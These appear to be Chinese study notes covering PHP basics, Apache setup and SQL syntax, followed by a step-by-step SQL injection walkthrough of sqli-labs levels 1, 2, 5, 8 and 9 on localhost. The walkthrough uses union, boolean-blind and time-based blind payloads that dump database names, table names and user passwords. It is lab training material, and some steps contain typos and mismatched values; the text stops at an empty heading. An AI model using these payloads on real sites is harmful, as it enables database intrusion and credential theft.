task1

PHP笔记

PHP语法

  • PHP脚本以 <?php 开始,以 ?> 结束
<?php
	//php代码
?>
  • PHP文件的后缀名:.php

  • PHP文件包含HTML标签和PHP脚本代码,在服务器上执行。

  • PHP中的每个代码行都必须以分号结束。

  • PHP的输出格式:

print 输出内容;
echo 输出内容;

在这里插入图片描述

  • echo 和 print的区别:
    1.echo 一次可以输出一个或多个字符串,但没有返回值。
    2. prin t一次只允许输出一个字符串,返回值总为 1。

在这里插入图片描述

  • PHP 中的注释和C语言一样,分为单行注释和多行注释。
    1.单行注释:注释内容只占一行。
    2.多行注释:注释内容占多行。
// 这是 PHP 单行注释

/*
这是
PHP 多行
注释
*/

PHP变量

  • PHP变量格式:
$变量名
  • 变量民规则:
    1.变量名只能包含字母、数字以及下划线。
    2.变量名必须以字母或者下划线字符开始。
    3.变量名是区分大小写的。

  • 注意:
    1.PHP 没有声明变量的命令。变量在第一次赋值时,被创建。
    2.** 在PHP中,不需要声明变量的数据类型。PHP会根据变量的值,自动把变量转换为正确的数据类型。**在这里插入图片描述

PHP 变量作用域

  • 局部变量:在 PHP 函数内部声明的变量是局部变量,仅能在函数内部访问。
  • 全局变量:在所有函数外部定义的变量,就是全局变量。除了函数外,全局变量可以被脚本中的任何部分访问。要在一个函数中访问一个全局变量,需要使用 global 关键字。
  • global 关键字:用于函数内访问全局变量。
    在这里插入图片描述
  • static关键字:当一个函数完成时,它的所有变量通常都会被删除。使用 static 关键字声明该局部变量,则函数完成后,该变量不会被删除。
    在这里插入图片描述

PHP定界符

  • PHP EOF用于定义一个字符串,以 <<<EOF 为开始标记开始,以 EOF; 为结束标记结束。
	<<<EOF
    // 字符串内容
EOF
  • 注意:
    1.EOF 可以用任意其它字符代替,只需保证结束标识与开始标识一致。
    2.结束标识,必须从行首开始独自占一行,前后不能衔接任何空白和字符。
    3.位于开始标记和结束标记之间的变量可以被正常解析,但是函数则不可以
   	<<<EOT
   // 字符串内容
EOT

在这里插入图片描述

PHP数据类型

  • 字符串:用单引号或双引号括起来的一些字符。
  • 整型:没有小数部分的数字,可以分为十进制、十六进制( 以 0x 为前缀)、八进制(前缀为 0 )
    在这里插入图片描述
  • 浮点型:浮点数是带小数部分的数字,或是指数形式。
  • 布尔型:用于条件判断真假,只有两种取值true(真)和false(假)。
  • 数组:可以在一个变量中存储多个值
  • 对象:使用class关键字声明类对象,类中包含属性(变量)和方法(函数)。
class 类对象名{
		//类对象体
}
  • 注意:类对象中的变量定义 var $变量名;

PHP变量比较

  • PHP对变量进行比较包含两种,松散比较和严格比较。
  • 松散比较:使用两个等号 (==) 比较,只比较变量的值,不比较变量的类型。
  • 严格比较:用三个等号 (===) 比较,比较变量的值和类型。

PHP常量

  • PHP常量由英文字母、下划线、和数字组成。数字不能作为首字母出现,并且常量名不需要加 $ 修饰
  • 常量值被定义后,便不能被修改。
  • define()函数:bool define ( string $name , mixed $value , bool $case_insensitive )
  • ame:必选参数,表示常量名称。
  • value:必选参数,表示常量的值。
  • case_insensitive :可选参数,当为 true时,该常量不区分大小。当为 false时,该常量区分大小。默认是区分大小
  • 常量在定义后,默认是全局变量,可以在任何地方使用。
    在这里插入图片描述

PHP字符串操作

  • 并置运算:并置运算符 (.) ,用于把两个字符串值连接起来。
字符串1 . 字符串2

在这里插入图片描述

  • strlen(str) 函数:计算字符串str的长度,一个中文占 3 个字符数。
    在这里插入图片描述
  • strpos(str1,str2) 函数:在字符串str1中,查找比配str2。如果匹配成功,则返回第一个匹配的字符位置。如果匹配失败,则返回 false。
  • 不是返回匹配到字符的下标,而是返回比配到字符数量在这里插入图片描述

PHP运算

  • 运算符:+(加)、-(减)、*(乘)、/(商,包含小数部分) 、%(取整)、~(按二进制位进行"取反"运算)
  • intdiv(x,y)函数:返回x除以y的整数部分。
  • 赋值运算符:
    1. x += y :x = x + y
    2. x -= y: x = x - y
    3. x *= y: x = x * y
    4. x /= y: x = x / y
    5. x %= y:x = x % y
    6. a .= b:a = a . b ,连接两个字符串

PHP自增/自减运算

  • ++变量名:变量先自加,然后变量再参与运算
  • 变量名++:变量先参与运算,然后变量再自加
  • – -变量名:变量先自减,然后变量再参与运算
  • 变量名- -:变量先参与运算,然后变量再自减

PHP 比较运算符

  • 等于:x == y ,如果 x 等于 y,则返回 true。
  • 绝对等于:x === y ,如果 x 等于 y,且它们类型相同,则返回 true。
  • 不等于:x != y ,如果 x 不等于 y,则返回 true。
  • 不等于:x <> y ,如果 x 不等于 y,则返回 true。
  • 不绝对等于:x !== y,如果 x 不等于 y,或它们类型不相同,则返回 true
  • 大于:x > y,如果 x 大于 y,则返回 true。
  • 小于:x < y,如果 x 小于 y,则返回 true 。
  • 大于等于: x >= y ,如果 x 大于或者等于 y,则返回 true 。
  • 小于等于: x <= y ,如果 x 小于或者等于 y,则返回 true。

PHP 逻辑运算符

  • and(与):x and y, 如果 x 和 y 都为 true,则返回 true。
  • or(或):x or y ,如果 x 和 y 至少有一个为 true,则返回 true
  • xor(异或):x xor y ,如果 x 和 y 有且仅有一个为 true,则返回 true
  • &&(与):x && y ,如果 x 和 y 都为 true,则返回 true
  • ||(或):x || y ,如果 x 和 y 至少有一个为 true,则返回 true
  • !(非):! x ,如果 x 不为 true,则返回 true

PHP条件语句

if 语句:

if(表达式) 
{
   语句组;
}
  • 当表达式成立时,执行语句组

if…else 语句:

if(表达式)  
{
   语句组1;
}
else{
	语句组2;
}
  • 当表达式成立时,执行语句组1,否则执行语句组2

if…elseif…else 语句:

if (条件1)  // 当条件1成立时,执行语句组1
{
    语句组1;
}
elseif (条件2)  // 当条件1不成立并且条件2成立时,执行语句组2
{
    语句组2;
}
else   // 当条件1和条件2都不成立时,执行语句组3
{
    语句组3;
}

Switch语句:

switch(表达式){
			case 常量1:  
					语句组1;
					break;
			case 常量2:
					语句组2break;
             .....
			case 常量n:
					语句组n;
					break;
			default:
            语句组n+1;
}
  • 执行过程:
    1.首先计算switch括号中表达式的值。
    2.将表达式的值和第一个case后面的“常量1”进行比较,如果相等,则执行语句组1。如果不相等,则跳过语句组1。
    3.将表达式的值和第二个case后面的“常量2”进行比较,如果相等,则执行语句组2。如果不相等,则跳过语句组2。
    4.依次向下比较,如果和某一个case后面的“常量”相等,则执行相应的语句组。
    5.当所有case后面的常量都不相等时,则执行default下的语句语句组。

  • 关键字default以及其后语句组可以缺省

  • 如果在case后面的语句块中,没有break语句。匹配成功后,从当前case后面的语句块开始执行,后续所有case的语句组都会输出,直至遇到break或者“}”,跳出switch语句。

  • 如果default没有放在最后,而是放在某一个case之前:
    1.程序从default之后case后面的语句组执行时,无论有无break语
    句,都不执行default后面的语句组;
    2.程序从default之前case后面的语句组执行时,如果没有遇到
    break语句,则执行default后面的语句组;
    3.如果case后面的常量都不匹配,则执行default后面的语句组。

PHP数组

  • 数组变量:能够在数组中存储多个数据,每个数据以键值对的形式出现,从而根据键访问对应值。

  • array()函数:用于创建数组。

  • PHP数组可以分为三种,数值数组、关联数组、多维数组。

  • 数值数组:不需要指定键,键从 0 开始分配。
    在这里插入图片描述

  • 关联数组:数组元素以指定键值对形式出现,“键”=>“值”
    在这里插入图片描述

  • count(数组名) :返回数组长度,即数组元素个数。
    在这里插入图片描述

PHP数组运算符

  • +(集合):$arr3 = $arr1 + $arr2,数组arr1和数组arr2不变,数组arr3为arr1和arr2数组元素之和。某个元素的键名相同,则arr1中的键值对优先。
    在这里插入图片描述
  • ==(相等):$x == $y ,如果 x 和 y 具有相同的键/值对,则返回 true。
  • ===(恒等):$x === $y ,如果 x 和 y 具有相同的键/值对,且顺序相同类型相同,则返回 true。
  • !=(不相等):$x != $y, 如果 x 不等于 y,则返回 true。
  • <>(不相等):$x <> $y, 如果 x 不等于 y,则返回 true。
  • !==(不恒等):$x ! $y, 如果 x 不等于 y,则返回 true。

PHP 数组排序函数

  • sort() :对数字数组,按照ASCII比较序列,进行升序排列。
  • rsort() :对数字数组,按照ASCII比较序列,进行降序排列。
  • asort() :对关联数组,根据值,按照ASCII比较序列,对数组进行升序排列。
  • ksort() :对关联数组,根据键,按照ASCII比较序列,对数组进行升序排列。
  • arsort() :对关联数组,根据值,按照ASCII比较序列,对数组进行降序排列。
  • krsort() : 对关联数组,根据键,按照ASCII比较序列,对数组进行降序排列。

PHP超级全局变量

  • 超级全局变量,是PHP系统中自带的变量,在一个脚本的全部作用域中都可用,包括在函数及类中使用。
  • $GLOBALS :包含了全部变量的全局组合数组,其中键变量名与值变量相同。
  • $_SERVER :包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组,由 Web 服务器创建。
  • $_REQUEST: 用于收集HTML表单提交的数据。
  • $_POST :被广泛应用于收集表单数据
  • $_GET: 同样被广泛应用于收集表单数据

PHP 循环

While 循环

      while(表示式)  // 当表达式为真时,执行循环体;当表达式为假时,退出while循环
            {
                循环体
            }

do…while循环

       do{
          循环体
          }while(表达式)
  • do-while循环执行过程:
    1.先执行一次循环体
    2.计算表达式的值,若表达式的值为真,则再执行一次循环体;若表达式的值为假,则终止循环。
  • 注意:do-while循环至少执行一次循环体语句,且while()后面要加;

for循环

for(表达式1;表达式2;表达式3)
{
	循环体
}

  • for循环的执行过程:
    1.执行表达式1
    2.执行表达式2,若表达式的值为真,则执行第三步;若表达式的值为假,则终止循环。
    3.执行循环体
    4.执行表达式3 ,表达式3是循环体结束后再执行的
    5.执行第二步

  • 注意:
    1.表达式1一般是赋值语句,用于给循环控制变量赋初值。
    2.表达式2一般是真假判断,若为真,则执行循环体;若为假,则终止循环。
    3.表达式3一般是循环控制变量的自增或者自减。

foreach 循环

  • 语法1:
foreach ($array as $value)  // 适用于数字数组
{
    要执行代码;
}
  • 循环过程:每进行一次循环,当前数组元素赋值给 $value 变量,数组指针自动下移一位。
    在这里插入图片描述
  • 语法2:
foreach ($array as $key => $value)  // 适用于关联数组
{
    要执行代码;
}
  • 循环过程:每进行一次循环,当前数组元素键与值就会赋给 $key 和 $value 变量,数组指针自动下移一位。
    在这里插入图片描述

PHP 函数

  • 函数的定义:
 function 函数名(形参列表)   
    {
       函数体  
     }   
  • 如果函数有返回值,会使用 return 语句return 表示式;,返回表达式的值。
    在这里插入图片描述

PHP 魔术常量

  • 魔术常量的值随着在代码中的位置改变而改变
  • __ LINE __:值是文件中的当前行号
    在这里插入图片描述
  • __ FILE __:表示编译文件的完整路径和文件名
    在这里插入图片描述
  • __ DIR __:表示文件所在的目录。

在这里插入图片描述

  • __ FUNCTION __:用在函数中,表示该函数名字。
    在这里插入图片描述
  • __ CLASS __:用在类中,表示该类名字。
    在这里插入图片描述
  • __ METHOD __:用在方法中,表示该方法名字。
    在这里插入图片描述
    __ NAMESPACE __:表示前命名空间的名字。

在ubuntu搭建网站

  1. 在ubuntu的控制终端上输入:sudo apt updae,更新数据包。
    在这里插入图片描述

  2. 在ubuntu的控制终端上输入:sudo apt install apache2 -y,安装apache。
    在这里插入图片描述

  3. 在ubuntu的控制终端上输入:sudo service apache2 restart,启动apache2。
    在这里插入图片描述

  4. 在浏览器,输入:http://localhost ,就看到apache 默认的页面。
    在这里插入图片描述

  5. 修改index.html中的内容,再次在浏览器,输入:http://localhost
    在这里插入图片描述
    在这里插入图片描述

SQL语法

SQL简介

  • 资料库管理系统(DBMS):负责对资料库的管理,可以分为两种,关联式资料库管理系统(RDBMS)和非联式资料库管理系统(NRDBMS)
  • MySQL :数据库是一些关联表的集合,而MySQL是最流行的关系型数据库管理系统
  • SQL:用于跟关联式资料库管理系统沟通的语言。
  • 数据表: 表是数据的矩阵,例如一个班级的学生信息。
  • 列: 一列(数据元素) 包含了相同类型的数据, 表示一个属性。例如学生的学号、姓名、成绩等。
  • 行:一行(元组,或记录)是一组相关的数据,比如一位学生的信息。
  • 主键:主键是唯一的。一个数据行中只能包含一个主键,可以来查询数据。
  • 外键:外键用于关联两个表
    在这里插入图片描述

SQL资料库操作语法

  • sql语法中,关键字是蓝色的,并且不区分大小写。而我们自己写的标识符可以用``括起来,也可以不用。
  • 资料库创建:
CREATE DATABASE `资料库名`;
或者
CREATE DATABASE 资料库名;
  • 显示资料库:
SHOW DATABASES

在这里插入图片描述

  • 删除资料库:
DROP DATABASE `资料库名`

在这里插入图片描述

资料的类型

  • INT:表示资料是整型
  • DECIMAL(m,n):表示资料是实数,整体占m位,小数部分占n位m,小数点不算一位
  • VARCHAR(n):表示资料是字符串,字符串长度最大为n
  • BLOB:表示资料是二进制的资料,例如图片、影片等
  • DATE:表示资料是日期,形式为年-月-日,例如2018-06-07
  • TIMESTAMP:表示资料是最后修改日期,形式为年-月-日 小时:分钟:秒

SQL表格操作语法

  • 定义表格所属的资料库:
USE `资料库的名字`
  • 创建表格:
CREATE TABLE `表格名`(
	`第一列属性名` 第一列资料的类型,
	`第二列属性名` 第二列资料的类型,
	......
	`第n列属性名` 第n列资料的类型,
);
  • 可以使用关键字PRIMARY KEY,将某一列定义为主键,有两种方式:
CREATE TABLE `表格名`(
	`第一列属性名` 第一列资料的类型 PRIMARY KEY,
	`第二列属性名` 第二列资料的类型,
	......
	`第n列属性名` 第n列资料的类型,
);
CREATE TABLE `表格名`(
	`第一列属性名` 第一列资料的类型,
	`第二列属性名` 第二列资料的类型,
	......
	`第n列属性名` 第n列资料的类型,
	PRIMARY KEY(属性名) 
);
  • 将某一列定义为外键:
CREATE TABLE `表格名`(
	`第一列属性名` 第一列资料的类型,
	`第二列属性名` 第二列资料的类型,
	......
	`第n列属性名` 第n列资料的类型,
	FOREIGN KEY (`外键属性名`) REFERENCES `关联表名`(`关联属性名`) ON DELETE CASCADE
);

  • 显示表格:
DESCRIBE `表格名`;

在这里插入图片描述

  • 删除表格:
DROP TABLE `表格名`
  • 为表格添加属性:
ALTER TABLE `表格名` ADD `属性名` 资料类型;

在这里插入图片描述

  • 删除表格中属性:
ALTER TABLE `表格名` DROP COLUMN 属性名;

在这里插入图片描述

SQL增加资料语法

  • 存入资料:
INSERT INTO `表格名` VALUES(属性1,属性2,...,属性n); 
  • 显示表格中所有资料:
SELECT * FROM `表格名`;

在这里插入图片描述

  • 以任意的顺序存入资料:
INSERT INTO `表格名` (要填入的第1个属性,要填入的第2个属性,...,要填入的第n个属性,) VALUES(属性1,属性2,...,属性n); 

SQL限制语法

  • 在创建表格的时候,可以使用一些关键字对属性进行限制。
  • NOT NULL:当输入资料时,该属性对应的数据不能为空。
  • UNIQUE:当输入资料时,该属性对应的数据不能与其他资料一样。
  • DEFAULT 默认值:当输入资料时,该属性对应的数据为空,则去默认值
  • AUTO_INCREMENT:当输入资料时,该属性对应的数据自动赋值(1、2、3…)。

SQL修改资料语句

  • 修改语句的格式:
UPDATE `要修改的表格名`
SET `要修改的属性名` = `修改值`
WHERE 修改判断条件;

在这里插入图片描述

  • 可以没有判断条件,对每一行数据都进行修改
UPDATE `要修改的表格名`
SET `要修改的属性名` = `修改值`;

在这里插入图片描述

  • 可以使用关键字AND 和 OR,对多个条件进行判断

SQL删除资料语句

  • 删除语句的格式:
DELETE FROM `要删除资料的表格名`
WHERE 判断条件;

在这里插入图片描述

  • 可以没有判断条件,则删除表中所有数据:
DELETE FROM `要删除资料的表格名`;

在这里插入图片描述

SQL查询资料语句

  • 查询某一列(属性)的数据:
SELECT `属性名1` `属性名2` FROM `表格名`;

在这里插入图片描述

  • 查询所有列的数据:
SELECT * FROM `表格名`;
  • 将查询的数据,顺序排序:
SELECT `属性名`  
FROM `表格名`
ORDER BY `排序依据的属性名` ASC;
  • 将查询的数据,逆序排序:
SELECT `属性名`  
FROM `表格名`
ORDER BY `排序依据的属性名` DESC;
  • 可以用关键字LIMIT,去限制显示的行数。
    在这里插入图片描述
  • 有条件,查询数据:
SELECT `属性名` 
FROM `表格名`;
WHERE 查询条件;

在这里插入图片描述

sql注入

sql注入简介

  • sql注入原理:攻击者通过构造不同的sql语句对数据库进行操作,关键在于参数用户可控构造参数带入数据库查询

sql手注流程

  • 判断注入点:例如 id=1’,在1都后面加个单引号,页面提示出错
  • 判断列数:通过ORDER BY(order by) 语句,根据某一列对结构集排序。
  • 判断回显位:通过union判断回显点
  • 查询相关内容:在回显位上,调用mysql数据库的一些函数,查询数据。

sql盲注

  • 当执行select语句之后,可能由于网站代码的限制或者apache等解析器配置了不回显数据,造成在select数据之后不能回显到页面。此时,我们需要利用一些方法进行判断或者尝试,这个判断的过程称之为盲注。
  • 盲注的分类有两种,布尔盲注和时间盲注
  • 布尔盲注分为两步:
    1.使用 length()函数,判断查询结果的长度
    2.使用 substr()函数,截取每一个字符。
    3.使用ascii()函数,将截取的字符转换成对应的ascii

重要的SQL注入语句或函数

  • information_schema:表示所有的信息,包括库、表、列。
  • information_schema.tables:表示所有表名信息
  • informaton_schema.columns:表示所有列名信息
  • table_schema:数据库名
  • table_table:表名
  • column_name:列名
  • concat():用于将多个字符串连接起来,形成一个单一的字符串。
  • group_concat():显示拼接的数据
  • version():查询MySQL的版本号
  • database():查看当前使用的数据库
  • length(str):计算字符串str长度
  • substr(a,b,c):a是要截取的字符串,b是截取的位置,c是截取的长度。例如substr(“123456”,1,1)返回 1
  • cc(ch):字符ch转换成对应的ascii
  • if(condition, value_if_true, value_if_false):
    1.condition是一个条件表达式,用于判断真假。2.condition为真时,返回value_if_true
    3.condition为假时,返回value_if_false
  • sleep(n):页面延迟n秒
  • updatexml (document, Path, new_value):
    1.document:表示XML文档对象的名称
    2.path:XML文档的路经
    3.new_value:更新用的数据。
    4.updatexml()函数的作用:对Path进行查询操作,如果符合语法格式要求,则用第三个参数替换。如果不符合语法格式要求,则会报错并带出查询的结果
    5.特殊用法:第一和第三个参数可以随便写,只需要利用第二个参数,带出第二个参数的查询结果

sqli-labs第一关

判断注入点

  1. 提示你输入数字值的ID作为参数,首先输入:http://localhost/sqli/Less-1/?id=1
    在这里插入图片描述

  2. 再先输入:http://localhost/sqli/Less-1/?id=2
    在这里插入图片描述

  3. 再先输入:http://localhost/sqli/Less-1/?id=3
    在这里插入图片描述

  4. 输入的id值不同,返回的内容也不同。由此可见,是根据我们输入的内容,查询数据库。

  5. 接着输入:http://localhost/sqli/Less-1/?id=1'
    在这里插入图片描述

  6. 接着输入:http://localhost/sqli/Less-1/?id=1' --+
    在这里插入图片描述

  7. 当我们输入?id=1'的时候,回显中有1',存在字符型sql注入漏洞。

判断列数

  1. 输入:http://localhost/sqli/Less-1/?id=1' order by 3 --+,将查询的结果根据第三列进行排序。如果显示正常,则表示第三列存在。如果报错,则表示第三列数不存在。
    在这里插入图片描述

  2. 输入:http://localhost/sqli/Less-1/?id=1' order by 4 --+,将查询的结果根据第四列进行排序。如果显示正常,则表示第四列存在。如果报错,则表示第四列数不存在
    在这里插入图片描述

  3. 由此可见,表中只存在3列

判断回显位

  1. 输入:http://localhost/sqli/Less-1/?id=-1' union select 111,222,333 --+,当id=-1’查寻不到数据时,就会选择111,222,333中,某处的数据显示。
    在这里插入图片描述

  2. 由此可见,回显位是222处和333处。

查询相关内容

  1. 输入:http://localhost/sqli/Less-1/?id=-1' union select 111,database(),version() --+。在回显位上,输入database(),查看当前使用的数据库。输入version(),查看MySQL的版本号。

在这里插入图片描述

  1. 由图可知,当前使用的数据库是security,MySQL版本号是5.7.26

  2. 输入:http://localhost/sqli/Less-1/?id=-1' union select 111,222,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+,显示出数据库security中,所有的表名。
    在这里插入图片描述

  3. 由图可知,数据库security中的表有:emails,referers,uagents,users。可能用户的账户和密码是在users表中,接下要得到该表下的字段名以及内容。

  4. 输入:http://localhost/sqli/Less-1/?id=-1' union select 111,222,group_concat(column_name) from information_schema.columns where table_name = 'users' --+,显示出数据库security中,user表的所有列名信息
    在这里插入图片描述

  5. 由图可知,数据库security中,user表有很多列。其中最最要的是username列和password列,可能就是账户名和密码。

  6. 输入:http://localhost/sqli/Less-1/?id=-1' union select 111,222,group_concat(username ,id , password) from users --+,显示出数据库security中,user表的username列和password列,中间用id列隔开。
    在这里插入图片描述

  7. 由图可知,我们就知道security数据库中,所有的账号和密码,例如账号(Dumb)和密码(Dumb)

sqli-labs第二关

判断注入点

  1. 提示你输入数字值的ID作为参数,首先输入:http://localhost/sqli/Less-2/?id=1
    在这里插入图片描述

  2. 提示你输入数字值的ID作为参数,首先输入:http://localhost/sqli/Less-1/?id=2
    在这里插入图片描述

  3. 提示你输入数字值的ID作为参数,首先输入:http://localhost/sqli/Less-1/?id=3
    在这里插入图片描述

  4. 输入的id值不同,返回的内容也不同。由此可见,是根据我们输入的内容,查询数据库。

  5. 接着输入:http://localhost/sqli/Less-1/?id=1'
    在这里插入图片描述

  6. 接着输入:http://localhost/sqli/Less-1/?id=1 --+'
    在这里插入图片描述

  7. 当我们输入?id=1’的时候,回显中没有1’,故存在数字型sql注入漏洞。

判断列数

  1. 输入:http://localhost/sqli/Less-2/?id=1 order by 1 --+,将查询的结果根据第1列进行排序。如果显示正常,则表示第1列存在。如果报错,则表示第1列数不存在。
    在这里插入图片描述
  2. 输入:http://localhost/sqli/Less-2/?id=1 order by 2 --+,将查询的结果根据第2列进行排序。如果显示正常,则表示第2列存在。如果报错,则表示第2列数不存在。
    在这里插入图片描述
  3. 输入:http://localhost/sqli/Less-2/?id=1 order by 3 --+,将查询的结果根据第3列进行排序。如果显示正常,则表示第3列存在。如果报错,则表示第3列数不存在。
    在这里插入图片描述
  4. 输入:http://localhost/sqli/Less-2/?id=1 order by 4 --+,将查询的结果根据第4列进行排序。如果显示正常,则表示第4列存在。如果报错,则表示第4列数不存在。
    在这里插入图片描述
  5. 由此可见,表中只存在3列

判断回显位

  1. 输入:http://localhost/sqli/Less-2/?id=-1 union selece 1,2,3 --+。当id=-1查寻不到数据时,就会选择1,2,3中,某处的数据显示。
    在这里插入图片描述
  2. 由此可见,回显位是2处和3处

查询相关内容

1.输入:http://localhost/sqli/Less-2/?id=-1 union select 1,database() ,version() --+。在回显位上,输入database(),查看当前使用的数据库。输入version(),查看MySQL的版本号。
在这里插入图片描述
2.由图可知,当前使用的数据库是security,MySQL版本号是5.7.26
3.输入:http://localhost/sqli/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+
在这里插入图片描述
4.由图可知,数据库security中的表有:emails,referers,uagents,users。可能用户的账户和密码是在users表中,接下要得到该表下的字段名以及内容。
5.输入:http://localhost/sqli/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+
在这里插入图片描述
6.由图可知,数据库security中,user表有很多列。其中最重要的是username列和password列,可能就是账户名和密码。
7.输入:http://localhost/sqli/Less-2/?id=-1 union select 1,2,group_concat(username, id, password) from users --+

在这里插入图片描述
8.由图可知,我们就知道security数据库中,所有的账号和密码,例如账号(Dumb)和密码(Dumb)

sqli-labs第五关

判断注入点

  1. 输入:http://localhost/sqli/Less-5/?id=1',回显中有1',存在字符型sql注入漏洞。
    在这里插入图片描述

获取数据库名

  1. 输入:http://localhost/sqli/Less-5/?id=1' and length((select database())) > 9 --+。首先用**select database()获得数据名,再用length()**计算数据库长度,最后判断数据库长度是否大于9。
    在这里插入图片描述
  2. 出错,表示数据库名长度小于9
  3. 输入:http://localhost/sqli/Less-5/?id=1' and length((select database())) > 7 --+。首先用**select database()获得数据名,再用length()**计算数据库长度,最后判断数据库长度是否大于7。
    在这里插入图片描述
  4. 成功,表示数据库名长度大于7,故数据库长度为8
  5. 输入:http://localhost/sqli/Less-5/?id=1' and ascii(substr((select database()) ,1, 1) )= 32 --+。判断数据名的第一符,是不是等于ascll为32的字符
    在这里插入图片描述
  6. 出错,不是等于ascll为32的字符
  7. 输入:http://localhost/sqli/Less-5/?id=1' and ascii(substr((select database()) ,1, 1) )= 33 --+。判断数据名的第一符,是不是等于ascll为33的字符
    在这里插入图片描述
  8. 出错,不是等于ascll为33的字符。
  9. 依次增加acsll的大小,进行判断,直到输入:http://localhost/sqli/Less-5/?id=1' and ascii(substr((select database()) ,1, 1) )= 115 --+。判断数据名的第一符,是不是等于ascll为115的字符
    在这里插入图片描述
  10. 成功,由此可知,数据库名的第一个字符是s
  11. 重复上述操作,判断数据库名的第2个字符、数据库名的第3个字符…数据库名的第8个字符,最后得到数据库名security

获取表名

  1. 输入:http://localhost/sqli/Less-5/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema = database())) > 13 --+。取数据库security中的所有表,**计算这些表名的长度之和,最后判断长度是否大于17。
    在这里插入图片描述
  2. 判断的长度依次增加,最后得出所有表名长度之和
  3. 输入:http://localhost/sqli/Less-5/?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)) = 32 --+。判断表名的第一符,是不是等于ascll为33的字符
    在这里插入图片描述
  4. 出错,不是等于ascll为32的字符
  5. 依次增加acsll的大小,进行判断,直到显示正确。
  6. 重复上述操作,判断表名的第2个字符、表名的第3个字符…,最后得到所有表名。

获得列名

  1. 输入:http://localhost/sqli/Less-5/?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name = 'users')) > 20--+。取数据库security中users表的所有列,**计算这些列的长度之和,最后判断长度是否大于20。
    在这里插入图片描述
  2. 判断的长度依次增加,最后得出所有列的长度之和
  3. 输入:http://localhost/sqli/Less-5/?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema = 'users'),1,1)) = 32 --+。判断列名的第一符,是不是等于ascll为33的字符
    在这里插入图片描述
  4. 出错,不是等于ascll为32的字符
  5. 依次增加acsll的大小,进行判断,直到显示正确。
  6. 重复上述操作,判断列名的第2个字符、列名的第3个字符…,最后得到所有列名。

获得账户和密码

  1. 输入:http://localhost/sqli/Less-5/?id=1' and length((select group_concat(username, password) from users)) = 10 --+。取数据库security中users表的username列和password列,**计算这两列的内容长度之和,最后判断长度是否等于10。
    在这里插入图片描述
  2. 判断的长度依次增加,最后得出这两列的内容长度之和
  3. 输入:http://localhost/sqli/Less-5/?id=1' and ascii(substr(( select group_concat(username,password) from users),1,1)) = 32 --+。判断username和password的第一符,是不是等于ascll为33的字符
    在这里插入图片描述
  4. 出错,不是等于ascll为32的字符
  5. 依次增加acsll的大小,进行判断,直到显示正确。
  6. 重复上述操作,判断第2个字符、第3个字符…,最后得到所有用户名和密码。

sqli-labs第八关

判断注入点

  1. 输入:http://localhost/sqli/Less-8/?id=1',出现错误,存在字符型sql注入漏洞。
    在这里插入图片描述

获取数据库名

  1. 输入:http://localhost/sqli/Less-8/?id=1' and length((select database())) = 8 --+。首先用**select database()获得数据名,再用length()**计算数据库长度,最后判断数据库长度是等于8。
    在这里插入图片描述
  2. 正确,由此可知数据库长度是等于8。
  3. 输入:http://localhost/sqli/Less-8/?id=1' and ascii(substr((select database()) ,1, 1) )= 32 --+。判断数据库名的第一个字符,是不是等于ascll为32的字符

在这里插入图片描述
4. 出错,不是等于ascll为32的字符
5. 依次增加ascll的值,直到回显正确,从而确定数据库名的第一个字符
6. 重复上述操作,判断第2个字符、第3个字符…,最后得到数据库名

获取表名

  1. 输入:http://localhost/sqli/Less-8/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema = database())) =10 --+

在这里插入图片描述
2. 判断的长度依次增加,直到回显正确,得出所有表名长度之和
3. 输入:http://localhost/sqli/Less-8/?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)) = 32 --+。判断表名的第一符,是不是等于ascll为33的字符
在这里插入图片描述
8. 出错,不是等于ascll为33的字符。
9. 依次增加acsll的大小,进行判断,直到回显正确,得出所有表名的第一个字符
10. 重复上述操作,判断第2个字符、第3个字符…,最后得到所有的表名

获得列名

  1. 输入:http://localhost/sqli/Less-8/?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name = 'users')) = 20--+。取数据库security中users表的所有列,**计算这些列的长度之和,最后判断长度是否等于20。

在这里插入图片描述
2. 判断的长度依次增加,直到回显正确,得出users表中所有列的长度之和
3. 输入:http://localhost/sqli/Less-8/?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema = 'users'),1,1)) = 32 --+。判断列名的第一符,是不是等于ascll为33的字符

在这里插入图片描述
4. 出错,不是等于ascll为32的字符
5. 依次增加acsll的大小,进行判断,直到显示正确。
6. 重复上述操作,判断列名的第2个字符、列名的第3个字符…,最后得到所有列名。

获得账户和密码

  1. 输入:http://localhost/sqli/Less-8/?id=1' and length((select group_concat(username, password) from users)) = 10 --+。取数据库security中users表的username列和password列,**计算这两列的内容长度之和,最后判断长度是否等于10。
    在这里插入图片描述

  2. 判断的长度依次增加,最后得出这两列的内容长度之和

  3. 输入:http://localhost/sqli/Less-8/?id=1' and ascii(substr(( select group_concat(username,password) from users),1,1)) = 32 --+。判断username和password的第一符,是不是等于ascll为32的字符
    在这里插入图片描述

  4. 出错,不是等于ascll为32的字符

  5. 依次增加acsll的大小,进行判断,直到显示正确。

  6. 重复上述操作,判断第2个字符、第3个字符…,最后得到所有用户名和密码。

sqli-labs第九关

判断注入点

  1. 输入:http://localhost/sqli/Less-9/?id=1' and if(1,sleep(3),1) --+,出现延迟,存在字符型sql注入漏洞。
    在这里插入图片描述

获取数据库名

  1. 输入:http://localhost/sqli/Less-9/?id=1' and if(length((select database())) = 8,sleep(3),1) --+。出现延迟,数据库名长度为8
    在这里插入图片描述
  2. 输入:http://localhost/sqli/Less-9/?id=1' and if(ascii(substr((select database()),1,1)) = 32, sleep(3),1) --+。判断数据库名的第一个字符,是不是等于ascll为32的字符
    在这里插入图片描述
  3. 没有出现延迟,说明数据库名第一个字符,不等于ascll为32的字符
  4. 依次增加ascll的值,直到回显延迟,从而确定数据库名的第一个字符
  5. 重复上述操作,判断第2个字符、第3个字符…,最后得到数据库名

获取表名

